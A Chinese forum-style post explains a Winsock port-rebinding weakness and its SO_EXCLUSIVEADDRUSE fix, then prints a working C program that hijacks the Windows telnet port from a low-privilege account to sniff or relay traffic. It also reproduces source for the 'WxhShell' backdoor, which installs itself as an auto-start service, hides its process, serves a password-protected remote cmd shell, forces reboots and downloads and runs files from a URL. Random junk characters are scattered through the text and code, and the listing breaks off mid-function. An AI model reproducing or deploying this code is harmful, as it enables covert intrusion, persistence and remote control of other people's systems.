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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q?C)5( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bTzVmqGY tMaJ; 4 saddr.sin_family = AF_INET; 02]9OnWw )=\W
sQ saddr.sin_addr.s_addr = htonl(INADDR_ANY); UXB[3SP @Kri)U
i bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \mZ\1wzn'{ uNLB3Rdy} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [c?']<f4 [P*3ld,,G% 这意味着什么?意味着可以进行如下的攻击: ZIAiVq2) g0.D36 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YBgHX [q s(7'*`G"h 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G+=6]0HT ;K?fAspSH 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nLq7J: ?V_Qa0k 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 "m]"%MU78 zO>N 3pMv 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eafy5vN[zX &/lJ7=Nq 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]?F05!$ * 9E_C
u2B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3uwZ# $ 1(u.Ud #include V|NWJ7 #include JbYv < #include [|{yr #include d"78w-S DWORD WINAPI ClientThread(LPVOID lpParam); [~)i<V|qJ int main() =$5[uI2 { *?oQ6g(Nz WORD wVersionRequested; v8Nc quv DWORD ret; 5|1&s3/f WSADATA wsaData; &sL5Pt_ BOOL val; z]>aWH}$ SOCKADDR_IN saddr; a34'[R SOCKADDR_IN scaddr;
1W;3pN int err; 3m4?l
~ SOCKET s; K@VXFV SOCKET sc; c1/Gyq int caddsize; Sm#;fx+ HANDLE mt; vII&v+C DWORD tid; U-TwrX wVersionRequested = MAKEWORD( 2, 2 ); H<`[,t err = WSAStartup( wVersionRequested, &wsaData ); *Rshzv[ if ( err != 0 ) { W0$G7s printf("error!WSAStartup failed!\n"); 8aGZ% UI return -1; ?{q w
/& } l1c&a[M) saddr.sin_family = AF_INET; ,$3 u*Oz1~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c%)uG _ '2]u{rr~+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i`r,B`V`08 saddr.sin_port = htons(23); f7X#cs)a if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &tZ?%sr { 6f=/vRAh$ printf("error!socket failed!\n"); p'k stiB return -1; ~PvW+UMLk } FStE/2? val = TRUE;
wB5zp //SO_REUSEADDR选项就是可以实现端口重绑定的 7V0:^Jov if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MV$>|^'em { #`a-b<uz printf("error!setsockopt failed!\n"); UVu"meZX return -1; |d D! @K }
-/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zx(j6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Kggf!\MR8 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1:7>Em<s D4'?
V
Iz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Bx&`$lW { 0P/A ret=GetLastError(); O(
he printf("error!bind failed!\n"); w0SzK-& return -1; YO!,m<b^u } =
k3O4gE7 listen(s,2); q~trn'X> while(1) |!%A1 wp# { *U54x
/w| caddsize = sizeof(scaddr); W~k!qy ` //接受连接请求 [&nwB!kt sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U]R?O5K if(sc!=INVALID_SOCKET) 8tA.d.8 { wt2S[:!p mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3N+P~v)T' if(mt==NULL) ,_rarU)[J { =La}^ printf("Thread Creat Failed!\n"); 9 b]U&A$ break; eiEZtu } F:pXdU-xf } v/+ dx/ CloseHandle(mt); 0y;&L63>T } #j-,#P@ closesocket(s); g#[9O'H WSACleanup(); `8FC&%X_ return 0; />ob*sk/Y } .?I!/;=[ DWORD WINAPI ClientThread(LPVOID lpParam) iZMsN*9[ { #-'}r}1ZT SOCKET ss = (SOCKET)lpParam; |B` -chK SOCKET sc; ]Vb#(2<2 unsigned char buf[4096]; =V5.c+ SOCKADDR_IN saddr; .yTk/x? long num; sF+0v p
DWORD val; Nr`nL_DQ DWORD ret; %-A8`lf< //如果是隐藏端口应用的话,可以在此处加一些判断 2 )j\Lg_M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 1.,mNY^UN saddr.sin_family = AF_INET; d`~#uN { saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1xguG7 saddr.sin_port = htons(23); !-.-!hBN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v9inBBC q { ,dVCbAS@ printf("error!socket failed!\n"); (la<X<w return -1; sx]?^KR: } uTl:u val = 100; /kw4":{] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yN>"r2 { MT6kJDyLu ret = GetLastError(); ,o9)ohw return -1; !5B9:p~-
} ~5!ukGK_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pK'WJ
72U { EW5S%Y ret = GetLastError(); b,Z&P| return -1; ='VIbE@qC } +W;B8^imG if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `n5c|`6 { E<\\ 'VF printf("error!socket connect failed!\n"); *<Ddn&_ closesocket(sc); oVq@M closesocket(ss); \B}W(^\wg; return -1; L//sJe } 5ef&Ih.3 while(1) k oHY
AF { 8fe"#^"s R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .vW~(ZuD //如果是嗅探内容的话,可以再此处进行内容分析和记录 q #p)E=$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Nb];LCx num = recv(ss,buf,4096,0); %M`|0g}! if(num>0) %<M<'jxSca send(sc,buf,num,0); u^]yz&9V else if(num==0) p +T&9 break; cEqh|Q num = recv(sc,buf,4096,0); P);Xke if(num>0) rmabm\QY send(ss,buf,num,0); %'=oMbi>i4 else if(num==0) Qy70/on9 break; M`>W'< } M:I,j closesocket(ss); F}AbA pTv closesocket(sc); Cfi2N V return 0 ; z9'0&G L
} d|o"QYX jSVO$AW~C Vks,3$ ========================================================== NDg]s2T J<BdIKCma 下边附上一个代码,,WXhSHELL GDcV1$NA )_Oc=/c|f ========================================================== D/:)rj14b }cPV_^{ #include "stdafx.h" {``}TsN :_aY:` #include <stdio.h> U3V<ITZI8t #include <string.h> e{}o:r #include <windows.h> 8 6+>| #include <winsock2.h> DA
wzXsx #include <winsvc.h> \6'A^cE/PX #include <urlmon.h> E{6}'FG+A u]2k %TUY #pragma comment (lib, "Ws2_32.lib") v'>Yc#VJ #pragma comment (lib, "urlmon.lib") E, v1F! l3afuD: #define MAX_USER 100 // 最大客户端连接数 m[bu(q z #define BUF_SOCK 200 // sock buffer V")Q4h{ #define KEY_BUFF 255 // 输入 buffer F0JFx$AoD qnS7z%H8 #define REBOOT 0 // 重启 IY19G U9 #define SHUTDOWN 1 // 关机 Kulg84<AwM B.G!7>= #define DEF_PORT 5000 // 监听端口 f2u2Ns0Ym \\lC"Z#J` #define REG_LEN 16 // 注册表键长度 R:xmcUq}
( #define SVC_LEN 80 // NT服务名长度 *Vc=]Z2G^ Kje+Niz7 // 从dll定义API -J30g\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FGH>;H@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jzdc'3dq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6~8
RFf" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *]eZ Y q
kKABow // wxhshell配置信息 \l2 s^7G_ struct WSCFG { oTfbx+i/G int ws_port; // 监听端口
KC(Ug4 char ws_passstr[REG_LEN]; // 口令 UQR"wUiiV int ws_autoins; // 安装标记, 1=yes 0=no UZ!hk*PF char ws_regname[REG_LEN]; // 注册表键名 VM!x)i9z char ws_svcname[REG_LEN]; // 服务名 mTPj@F> char ws_svcdisp[SVC_LEN]; // 服务显示名 CHU'FSq! char ws_svcdesc[SVC_LEN]; // 服务描述信息 **q/'K char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %PS-nF7v int ws_downexe; // 下载执行标记, 1=yes 0=no h+W^k+~( char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" )2$_:Ek char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )q^vitkjup ^pjez+ }; 2o$8CR; (lnQ!4LK // default Wxhshell configuration UBVb#FNF struct WSCFG wscfg={DEF_PORT, kYs|")isj "xuhuanlingzhe", s z\RmX 1, 16>uD;G "Wxhshell", vf= "Wxhshell", U %ESuq# "WxhShell Service", cP1jw%3P "Wrsky Windows CmdShell Service", +i^s\c!3; "Please Input Your Password: ", f3N:MH-c 1, 8Vn6* Xn " http://www.wrsky.com/wxhshell.exe", }$)<k "Wxhshell.exe" *Vl
=PNn- }; jvV8`BQ{ z~H Gc"~ // 消息定义模块 injmP9ed char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gJ&!w8v. char *msg_ws_prompt="\n\r? for help\n\r#>"; , _$"6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; tTt3D]h(
char *msg_ws_ext="\n\rExit."; XOCau.# char *msg_ws_end="\n\rQuit."; _}&]`,s> char *msg_ws_boot="\n\rReboot..."; 3CE8+PnT char *msg_ws_poff="\n\rShutdown..."; kpH;D=; char *msg_ws_down="\n\rSave to "; $dP)8_Z2 W/>?1+r.Z char *msg_ws_err="\n\rErr!"; iy]}1((hR char *msg_ws_ok="\n\rOK!"; $3TTHS o i .N1Cvp& char ExeFile[MAX_PATH]; !_9$[Oq~ int nUser = 0; $vBU}~l7 HANDLE handles[MAX_USER]; (L>[,YO9 int OsIsNt; lX*;KHT ) HD{`w1vcN SERVICE_STATUS serviceStatus; k&/)g3(N( SERVICE_STATUS_HANDLE hServiceStatusHandle; IDh`0/i] Zir`IQ$ // 函数声明 SR&
mHI-f0 int Install(void); skz]@{38 int Uninstall(void); F}]_/cY7B int DownloadFile(char *sURL, SOCKET wsh); Q:O>k CDV int Boot(int flag); RfBb{?PP) void HideProc(void); |y%].y) int GetOsVer(void); ~TH5>``;gF int Wxhshell(SOCKET wsl); LJwM M void TalkWithClient(void *cs); M0SH-0T;Z int CmdShell(SOCKET sock); pV6HQ:y1 int StartFromService(void); 4w( vRe int StartWxhshell(LPSTR lpCmdLine); IxZ.2 67 n\-_i2yy VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^\&g^T% VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;a&:r7]= oKi1=d+T // 数据结构和表定义 (AG SERVICE_TABLE_ENTRY DispatchTable[] = r^t{Ii~ { 1N!g`=} {wscfg.ws_svcname, NTServiceMain}, cN7z(I0[ {NULL, NULL} ;q; C^l }; 8-a6Q|
uX +<`3O // 自我安装 6I.m c int Install(void) n[Iu!v\/* { 3Jm'q,TC char svExeFile[MAX_PATH]; \( <{)GpBi HKEY key; WcwW@cY7\ strcpy(svExeFile,ExeFile); y8vH?^:%< P\4tK<P| // 如果是win9x系统,修改注册表设为自启动 +n[wkgFd if(!OsIsNt) { I#X2UQzP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U%DF!~n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bh,)5E^m RegCloseKey(key); kc'0NE4oq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %Z[/U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \TB%N1^ RegCloseKey(key); 5^K#Tj ;2 return 0; fq'Xy9L } A dEbyL } @JEmybu } 'UVv(- else { @CU|3Qg 4spaw?j // 如果是NT以上系统,安装为系统服务 nRB>[lG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4l}M
i if (schSCManager!=0) BZ+ mO { ;Uqx&5P} SC_HANDLE schService = CreateService "qTC(F9N$. ( Q 95 schSCManager, P%`R7yk wscfg.ws_svcname, \678Nx wscfg.ws_svcdisp, e( o/we{ SERVICE_ALL_ACCESS, R96o8#7Uv SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IR
dz(~CP SERVICE_AUTO_START, z8(R.TB SERVICE_ERROR_NORMAL, bsi q9$F svExeFile, @'r`(o3z!Z NULL, Ui|a}`c NULL, Z;y}gv/{ NULL, As'M39*V NULL, 3{4/7DcX NULL Sq|1f?_gU ); =x0"6gTz> if (schService!=0) !@Sf>DM" { gn W~KLqH CloseServiceHandle(schService); r.wIk0 CloseServiceHandle(schSCManager); N9=r#![>, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2v9s@k/k)6 strcat(svExeFile,wscfg.ws_svcname); K%c ATA3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U=i8>6V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R;E"Qdt RegCloseKey(key); g<iwxF return 0; 12d}#G<q- } %wjB)Mae } (L0hS' CloseServiceHandle(schSCManager); _%Jl&0%q } UI<PNQvo9 } nE,gQHw 6Sb'Otw. return 1; Ef`5fgp?
S } sK 1m9 [B~zoB( // 自我卸载 { 1@4}R4 int Uninstall(void) 32 1={\X { 2Ph7qEBQ22 HKEY key; a4jnu:e KBr5bcm4u if(!OsIsNt) { Wt+y-ES if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cUZ!;* RegDeleteValue(key,wscfg.ws_regname);
UJz4>JF RegCloseKey(key); _.OMjUBZT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A:.IBctsd RegDeleteValue(key,wscfg.ws_regname); YoF\MT]W RegCloseKey(key); 1>@]@ST[: return 0; 38U5^` } 2u~c/JryN } => uVp } ~t${=o430 else { urrO1 pKxX{i1l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g^z5fFLg/8 if (schSCManager!=0) FU5LYXCs { 2%5^Fi SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8)W?la8'p if (schService!=0) Q+N7:o!;<b { tIxhSI^ if(DeleteService(schService)!=0) { 0r0\b*r CloseServiceHandle(schService); <t[Z9s$n CloseServiceHandle(schSCManager); W>?f^C!+m return 0; +(z_"[l" } 6`DwEs?Y{ CloseServiceHandle(schService); dT hn? } d^Zo35X CloseServiceHandle(schSCManager); >?>u bM`, } +Q SxYV } uv|eVT3jNs "$~}'`(] return 1; Ok}{jwJ%W; } o\@ A2r3 agU%z:M{ // 从指定url下载文件 N"Y K@)*Q int DownloadFile(char *sURL, SOCKET wsh) n&0mz1rw { T.Pklty HRESULT hr; L9{mYA]q char seps[]= "/"; `qf\3JT\ char *token; p|h.@do4 char *file; GhG%>U#&a char myURL[MAX_PATH]; Sl. KLc@@ char myFILE[MAX_PATH]; Vq3]7l Gg=aK~q6 strcpy(myURL,sURL); P\q <d token=strtok(myURL,seps); R<n8M"B while(token!=NULL) L,C? gd@" { aPD?Bh>JU file=token; $f<eq7rRe token=strtok(NULL,seps); a1
46kq } m4Phn~>Gg 3}>: GetCurrentDirectory(MAX_PATH,myFILE); L _vblUDq strcat(myFILE, "\\"); Q^a&qYK strcat(myFILE, file); pBSq%Hy: send(wsh,myFILE,strlen(myFILE),0); BKE\SWu send(wsh,"...",3,0); ~rgf{oGz hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C<[d if(hr==S_OK) w8 ?Pb$Fe return 0; mP9cBLz else 4ss&'h return 1; r/mA2 a&$Zpf!! } =@xN(]( J 6(~>g // 系统电源模块 l5FuMk- int Boot(int flag) K-2.E { BW'L.*2 HANDLE hToken; wXr>p)mP TOKEN_PRIVILEGES tkp; ]$m#1Kj bK?1MiXb if(OsIsNt) { Y
brx%
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :dc"b?Ch LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c@RT$Q9j tkp.PrivilegeCount = 1; q%OcLZ<, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4t&gW AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >EBZ$ X if(flag==REBOOT) { WW//heJe- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [3t0M5x w return 0; 4=u+ozCG } 0zg 2g!lh else { XMt
u "K if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bH'S.RWp= return 0; ?r{TOjn } 4^0d)+Ff } w+t# Yb\7 else { 7V~
"x&Eu if(flag==REBOOT) { n11LxGwk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8h*t55 return 0; `+roQX.p } C1h#x'k else { y\^@p=e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O {PW return 0; #$LH2?) } rlR
!& } seu
~'s- 9.xvV|Sp return 1; Z8&4z.6_ }
WHp97S'd TNh=4xQ} // win9x进程隐藏模块 ^ Xm/ void HideProc(void) M0RRmW@f.a { yt. f!" 9GO}&7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '#O;mBPNi if ( hKernel != NULL ) 3Bejp+xX { A/!<kp{S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ci`zR9Ks ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~ct2`M$TL( FreeLibrary(hKernel); 0z<H(| } Rb)|66&3& 2$M,*Dnr return; Y^QKp" } As0 B\ d'ZS;l // 获取操作系统版本 Takt_N int GetOsVer(void) N5m'To] { (VR"Mi4 OSVERSIONINFO winfo; G;/Q>V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YnSbw3U.I GetVersionEx(&winfo); 5QAdcEcN@O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Y7$d` return 1; B1E$v(P3M else '0Lov]L return 0; BYS lKTh } P^"R4T M ~als3 // 客户端句柄模块 H#+\nT2m int Wxhshell(SOCKET wsl) jk )Vb { 3S5^`Ag# SOCKET wsh; ZI,j?i6\ struct sockaddr_in client; uG;?vvg> DWORD myID; 4:D:| r b6|Z"{TI
_ while(nUser<MAX_USER) &M[MEO`t8 { )Nbc/nB$ int nSize=sizeof(client); _m Xs4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |8bE9qt.P if(wsh==INVALID_SOCKET) return 1; lK*jhW?3: fmFzW*,E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S.: 7k9 if(handles[nUser]==0) 6JSY56v closesocket(wsh); EJ`Q8uz else :/6()_>bO nUser++; E4r.ky`#~ } I FsE!oDs4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ur6e&bTp ]BfS270 return 0; -^Xy% } UgC)7
K1 oCVku:. // 关闭 socket c_#*mA"+ void CloseIt(SOCKET wsh) Rv<L#!;
t { ^2EhlK^) closesocket(wsh); }%$OU = T nUser--; ?KB@Zm+#~ ExitThread(0); Ad/($v5+ } B!}BM}r hk_g2g // 客户端请求句柄 oSY7IIf%L void TalkWithClient(void *cs) X'x3esw w { D,Lp|V \,R!S /R# SOCKET wsh=(SOCKET)cs; MU1E_"Z) char pwd[SVC_LEN]; 1[ SA15h char cmd[KEY_BUFF]; &cc9}V)M char chr[1]; s)ky/ce int i,j; )t%h[0{{ RDJ+QOVKg while (nUser < MAX_USER) { oxfF`L" #dxvz^2V.3 if(wscfg.ws_passstr) { /;l[I=VI if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fagM7)x //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #Ao !>qCE //ZeroMemory(pwd,KEY_BUFF); 1[-vD= i=0; `*aBRwvK~ while(i<SVC_LEN) { Lc]1$ 2JZdw // 设置超时 fQU{SjG fd_set FdRead; z]=8eV\ struct timeval TimeOut; v L}T~_=3 FD_ZERO(&FdRead); tuLH}tkNY FD_SET(wsh,&FdRead); u1^\MVO8 TimeOut.tv_sec=8; ]JdJe6`Mc TimeOut.tv_usec=0; ,?(ciO) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J\=a gQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xwq]f:@V j;\[pg MR/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d>|;f pwd =chr[0]; q@l(Qol if(chr[0]==0xd || chr[0]==0xa) { m[:K"lZ
]2 pwd=0; uv]{1S{tb break; s8vKKvs`9 } \|%E%Yc i++; OCNPi4 } BvK QlT fx)KNm8Lx // 如果是非法用户,关闭 socket I\zemW! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E^wyD-ii/ } 3v1 7" Svw<XJ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I^_NC&m send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ()\jCNLT 9I.^LZ" while(1) { yMxTfR B!;+_%P76 ZeroMemory(cmd,KEY_BUFF); "IFgRaP= / t5p- // 自动支持客户端 telnet标准 ]Blf9h7 j=0; F*` t"7Lm while(j<KEY_BUFF) { &|
!B!eOY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? ?[g}> cmd[j]=chr[0]; 1nI^-aQ3 if(chr[0]==0xa || chr[0]==0xd) { M0w/wt| cmd[j]=0; {C")#m-0 break; rN5tI.iC } q3h'l, j++; 4 1t)(+r } ;>>C)c4V " 9v?l // 下载文件 "9XfQ"P if(strstr(cmd,"http://")) { Ew$I\j* send(wsh,msg_ws_down,strlen(msg_ws_down),0); ->gZ)?Fqy if(DownloadFile(cmd,wsh)) vzXag*0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5iM[sg[y9 else 3t"4TjAy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6BAW } pC(sS0J else { ;ME)Og ~OypE4./1 switch(cmd[0]) { >jTp6tu, <9eu1^g // 帮助 zT#`qCbT'J case '?': { :]WqfR)# send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zu/<NC
( break; +Qj(B@i } F)Oe9x\/ // 安装 [6tSYUZs case 'i': { %j+xgX/& if(Install()) :P+\p= send(wsh,msg_ws_err,strlen(msg_ws_err),0); :a0zT#u else lAi2,bz" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "G?Yrh break; d
6t:hn } 9P WY52! // 卸载 gfg n68k case 'r': { x#H
3=YD* if(Uninstall()) ;\{`Ci\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3EK9,:<Cf else u2iXJmM* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s'\$t break; (gXN%rsY } >:1P/U // 显示 wxhshell 所在路径 RU#F8O case 'p': { 1/Zh^foG char svExeFile[MAX_PATH]; ,wAz^cK| strcpy(svExeFile,"\n\r"); j
!H^-d}q strcat(svExeFile,ExeFile); sa&) #Z: send(wsh,svExeFile,strlen(svExeFile),0); 3tAU?sV! break; bt/ =Kq# } y2|R.EU\m< // 重启 /)L
0`:I# case 'b': { rcN 9.1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (u1m]WYL if(Boot(REBOOT)) ~nY]o"8D send(wsh,msg_ws_err,strlen(msg_ws_err),0); p/GVTf else { bPbb\|u0d closesocket(wsh); '{b1!nC; ExitThread(0); 3V<&| } >I"V],d!6 break; q_[G1&MC } I5ZqB B // 关机 {XCf-{a]~ case 'd': { 9KuD(EJS send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); quxdG>8 if(Boot(SHUTDOWN)) t18$x"\4k send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3_lI~=eH else { CH#k(sy closesocket(wsh); f 2YLk ExitThread(0); ;2xO`[# } Af(WV>' break; 5*-3?
<)e } +9;2xya2 // 获取shell Z u*K-ep" case 's': { sW@krBxMv CmdShell(wsh); 6<76H closesocket(wsh); T^.Cc--c ExitThread(0); aM3gRp51cj break; BMyzjteS+ } S.*~C0" // 退出 X6e/g{S) case 'x': { e^1uVN send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |a^U] CloseIt(wsh); \}0-^(9zd break; f58?5(Dc| } 2{|$T2?e // 离开 {Qu"%h.Al case 'q': { {R6HG{"IS6 send(wsh,msg_ws_end,strlen(msg_ws_end),0); jNDx,7F- closesocket(wsh); zCaT tb|@ WSACleanup(); XzIx:J6 exit(1); w?Ju5 5 break; R9+jW'[K } PJ4(}a } @~td`Z?1y } *Mc7f ?H w8Sv*K // 提示信息 c]k*}W3T if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _QOZsEe } $.%rAa_H } AnBJ(h G\d$x4CVGc return; I0'WOV70 } ]b?9zeT*'l @C_KV0i // shell模块句柄 ZJW[?V\5= int CmdShell(SOCKET sock) >/$Fh:R- { e.d
#wyeX STARTUPINFO si; bpAv1udX-W ZeroMemory(&si,sizeof(si)); W!Gdf^Yy< si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (.Y/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rh*sbZ68>E PROCESS_INFORMATION ProcessInfo; 1Tp/MV/> char cmdline[]="cmd"; $g9**b@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k;W@LfP return 0; OHrY(I6 } ZD/jX_!t I?#85l{> // 自身启动模式 9p* gU[ int StartFromService(void) HvwYm.$zE { `mfq
2bVc typedef struct Y*oDO$6 { uP $Cj DWORD ExitStatus; zw<p74DH DWORD PebBaseAddress; ZFm`UXS DWORD AffinityMask; Fzlozx1y[ DWORD BasePriority; $lA
V 6I. ULONG UniqueProcessId; ji1HV1S ULONG InheritedFromUniqueProcessId; VZka}7a } PROCESS_BASIC_INFORMATION; ?
